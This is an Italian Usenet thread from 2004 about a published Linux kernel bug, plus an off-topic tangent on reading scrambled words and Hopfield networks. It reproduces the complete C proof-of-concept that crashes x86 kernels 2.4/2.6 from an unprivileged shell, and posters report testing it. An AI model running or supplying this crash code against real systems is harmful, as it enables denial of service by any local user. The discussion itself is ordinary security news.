Newsgroup: it.comp.sicurezza.varie
Titolo: Un exploit per crashare Linux

http://punto-informatico.it/pi.asp?i=48632
-- 
Andrea
~ : ~ : ~ : ~ : ~ : ~ : ~ : ~ : ~
 
http://www.inzona.com
~ : ~ : ~ : ~ : ~ : ~ : ~ : ~ : ~
Yahoo ID andrea26272


 Non mi collego proprio...[ mer giu 16 10:36:00 ]
 Voi ci riuscite?

  Voi ci riuscite?
Si: ti riporto il testo dell'articolo.
16/06/04 - News - Roma - Nei giorni scorsi è stato pubblicato un exploit
che, sfruttando una debolezza del kernel di Linux, è in grado di causare il
crash di un sistema operativo x86 e x86-64 basato su molte versioni dei
kernel 2.4.x e 2.6.x.
A rendere il problema piuttosto serio interviene il fatto che l'exploit,
costituito da poche righe di codice C, può essere eseguito da un qualunque
utente - anche con privilegi limitati - che abbia accesso alla shell del
sistema operativo.
Secondo quanto riportato da Linux Reviews, la vulnerabilità interessa
virtualmente tutte le distribuzioni di Linux tranne quelle basate su alcuni
kernel a cui siano state applicate alcune patch, tra cui un paio sviluppate
da Gentoo.
Sul sito si sostiene che per il momento non è chiaro perché siano soltanto
due patch di Gentoo a rendere il kernel immune, quando invece tutte le altre
versioni sono vulnerabili.
Vi sono già diversi sistemi per aggirare il problema, fra cui alcune patch
scaricabili dai link pubblicati su Linux Reviews.

 
http://punto-informatico.it/pi.asp?i=48632
#include <sys/time.h>
#include <signal.h>
#include <unistd.h>
static void Handler(int ignore)
{
 char fpubuf[108];
 __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
 write(2, "*", 1);
 __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}
int main(int argc, char *argv[])
{
 struct itimerval spec;
 signal(SIGALRM, Handler);
 spec.it_interval.tv_sec=0;
 spec.it_interval.tv_usec=100;
 spec.it_value.tv_sec=0;
 spec.it_value.tv_usec=100;
 setitimer(ITIMER_REAL, &spec, NULL);
 while(1)
  write(1, ".", 1);
 return 0;
}
-- 
su questo post guariniello ha aperto un'inchiesta.

 ha scritto nel messaggio
news:slrncd01l5...@home.lan...

Gli sara' crashato Windows ;)))))
Cmq a me lo apre.
Stef_Ozzy

 
E' incredibile come il cervello umano sappia leggere frasi di questo tipo,
anche ad una prima lettura veloce.
Ok, è OT, ma non posso fare a meno di pensare alle IA... quando saranno
capaci di una cosa simile, senza ovviamente fare ricorso a 'tabelle
precostruite', ma soltanto grazie all'intuito?
Ma a questo punto: come si potrà replicare l'intuito?
Beh, scusate la risposta OT.
-- 
Il segreto dell'eterna giovinezza è la morte prematura, perché soltanto chi
non invecchierà mai resterà per sempre giovane (in memoria di Cristiano, un
ragazzo che si uccise a 23 anni perché la sua adolescenza era finita).

 precostruite', ma soltanto grazie all'intuito?
la butto li.. una rete di hopfield che associa in base a lunghezza della
parola e iniziali-finali correggendo l'errore in base alla vicinanza dei
simboli (0-o, c-k, p-q)?


 lettrra veloce).
No, in realta' il cervello riconosce le parole dalla loro forma.
ECCO PERCHE' E' PIU' DIFFICILE LEGGERE IL TESTO IN MAIUSCOLO :)
-- 
ciao            |visita
                 |
http://www.sifor.it
gelty           |
http://www.sifor.com
-------------------------------------
E' esplicitamente vietato usare l'indirizzo e-mail di questo messaggio
per fini diversi dalla risposta al messaggio stesso (Art. 10 DL. 171/98).

 No, in realta' il cervello riconosce le parole dalla loro forma.
non e' molto diverso da quello che dico io.
e' facile confondere "cervsllo" con "cervello" mentre salta all'occhio
"cervlelo" perche' ha due picchi (-l-l-) invece di uno solo spesso (-ll-)
ed e' irriconoscibile al volo "rervello" che ha solo l'iniziale cambiata.


 non e' molto diverso da quello che dico io.
Beh, diciamo che ci siamo compensati :)


 
Yes, ma ci vorrebbe il riconoscimento ottico, altrimenti siamo sempre li.
Si fanno tabelline tipo
O o 0
c k 
E  3 
e via dicendo, e non va bene, perchè il cervello per queste funzioni non usa
certo tabelline di questo tipo, ma si affida alla somiglianza dei
caratteri.
Insomma, non sono esperto di IA ma penso che questo punto sia consolidato.
No?:-D


 Yes, ma ci vorrebbe il riconoscimento ottico
le reti di hopfield riconoscono disegni che somigliano ad altri disegni
memorizzati in precedenza.


 memorizzati in precedenza.
ho trovato un "simulatore" che parrebbe funzionare abbastanza bene
http://techhouse.brown.edu/~dmorris/JOHN/StinterNet.html


barbun wrote:
Giusto per curiosita', ho provato a compilare l'exploit, ma, a parte una
schermata di puntini, intamezzati da qualche asterisco, non ha fatto altro.
(control-C lo ha banalmente terminato)
Cosa avrebbe dovuto accadere?
Sono stato sul sito indicato da punto informatico, ma non ho capito un gran
che!
P.S.	A causa di un crash prolungato del server di cui mi servo
        abitualmente, sono costretto a rispolverare un server ed un
        programma di news di emergenza.
-- 
,,, e dopo che ci avranno trasformato in vegetariani, a causa del vino al
metanolo, del pesce al mercurio, dei polli alla diossina, dei maiali agli
ormoni,  delle mucche,  pecore e  capre pazze,  ci daranno da mangiare la
frutta al benzene e la verdura radioattiva.
La nostra unica salvezza sara' nel Soylent Green!

 Cosa avrebbe dovuto accadere?
Pianta la macchina. Control-C funziona sempre, finche` la macchina
accetta input. Il tempo di applicazione puo` variare, cmq e` nell'ordine
dei secondi, non delle ore.
versione del kernel/distribuzione?
-- 
                          Maurizio - Tannoiser - Lemmo
                 Founder Member of ERLUG 
http://erlug.linux.it
-------------------------------------------------------------------------------
God is real, unless declared integer

versione del kernel/distribuzione?
Ho rifatto meglio il test.
Woody 3.0 - kernel serie 2.4 - pentium 2 400 mhz - 128 mega ram.
Modalita 'testo (no gnome od altro) su tty1, come utente; lancio exploit.
Aspetto 2 minuti di stelline e puntini.
Apro tty2 come utente, lancio un ls.
Apro tty5 come root. Apro MC e visualizzo alcuni files.
Il tempo passa, sono circa 2 minuti e mezzo.
Apro un MP3, finalmante si inchioda!
